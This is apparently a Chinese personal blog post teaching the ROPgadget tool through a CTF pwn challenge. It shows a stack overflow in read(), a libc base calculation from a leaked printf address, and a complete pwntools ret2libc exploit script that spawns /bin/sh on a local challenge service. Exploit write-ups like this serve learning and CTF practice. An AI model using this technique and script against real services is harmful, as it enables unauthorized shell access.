mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
403 字
1 分钟
ROPgadget
2025-11-16

使用ROPgadget 工具#

Gadget 是程序中已有的,以ret 结尾的一段机械指令序列

不过当程序中 Gadget 较少,而且没有合适话,可以尝试使用ROPgadget工具尝试从 其他地方比如 libc 中寻找合适的gadget

ROPgadget 有两种使用方法

  1. 在终端中使用
ROPgadget --binary ./file # 列出这个文件中的所有gadget
ROPgadget --binary ./file | grep "pop rdi" # 寻找特定的gadget
ROPgadget --binary ./libc.so.6 --only 'ret' | grep -E '^0x[0-9a-f]+ : ret$' # 使用本身的过滤器
  1. 在python 脚本中使用
file = ELF("./file")
fileRop = rop(file)
rop_rdi = rop.find_gadget(['pop rdi', 'ret'])
ret = rop.find_gadget(['ret'])
...

如果发现 程序中泄露出了C标准库中函数的地址,且有获取对应的libc的思路#

总结#

步骤:

  • 收集信息: 是否找到相关泄露的函数,时候找到栈溢出的切入点
  • 计算libc基址:尝试获取泄露函数的泄露地址,然后计算libc 的基址或者重要地址
  • 构造 payload 攻击脚本

注意: 一般在gadget的选择上尽量选择 libc.so 中的 gadget ,因为从选择自由性和稳定性 高于从源文件中的gadget

例题#

题目有pwn 文件和 libc.so.6 文件

将pwn 拖入ida 中得到 如下伪代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
puts("The Oracle speaks...");
puts("There is no system function in the .text segment.");
printf("A gift of forbidden knowledge, the location of 'printf': %p\n", &printf);
vuln();
return 0;
}
ssize_t vuln()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("\nNow, show me what you can do with this knowledge:");
printf("> ");
return read(0, buf, 0x100u);
}

可见 read 函数存在栈溢出的漏洞, 分析 buf的栈空间分布发现

-0000000000000040 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000040 // Frame size: 40; Saved regs: 8; Purge: 0
-0000000000000040
-0000000000000040 _BYTE buf[64];
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

我们可以寻找到需要覆盖的偏移量,但是由于函数量较少 难以找到合适的gadget 所以需要借助 libc.so 中的函数地址, 在题目开头发现

The Oracle speaks...
There is no system function in the .text segment.
A gift of forbidden knowledge, the location of 'printf': 0x746709460100
Now, show me what you can do with this knowledge:
>

我们得到了每次启动的时候 printf 函数泄露出来的地址 所以我们可以通过这一点算出 libc.so 在程序中对应的 偏移地址,然后加以利用

于是得到脚本

from pwn import *
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# p = process('./pwn')
# 127.0.0.1:34085
p = remote('127.0.0.1', 34085)
p.recvuntil(b"the location of 'printf': ")
leaked_printf_str = p.recvline().strip()
leaked_printf_addr = int(leaked_printf_str, 16)
log.success(f"printf 函数基址: {hex(leaked_printf_addr)}")
libc.address = leaked_printf_addr - libc.symbols['printf'] # 计算libc的基地址
system_addr = libc.symbols['system'] # 获取 system 函数的地址
bin_sh_addr = next(libc.search(b'/bin/sh\x00')) # 搜索 是否存在 b'bin/sh\x00'
pop_rdi = libc.address + 0x2a3e5 # 寻找 gadget, 后边的魔法数字是通过 ROPgadget 找出来的偏移地址
ret = libc.address + 0x29139 # 寻找 gadget
offset = 64 + 8
payload = flat([
b'a' * offset,
p64(ret),
p64(pop_rdi),
p64(bin_sh_addr),
p64(system_addr)
])
p.sendlineafter(b'> ', payload)
p.interactive()
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

ROPgadget
https://yoyolp.github.io/posts/11/16/
作者
超级玉米人
发布于
2025-11-16
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录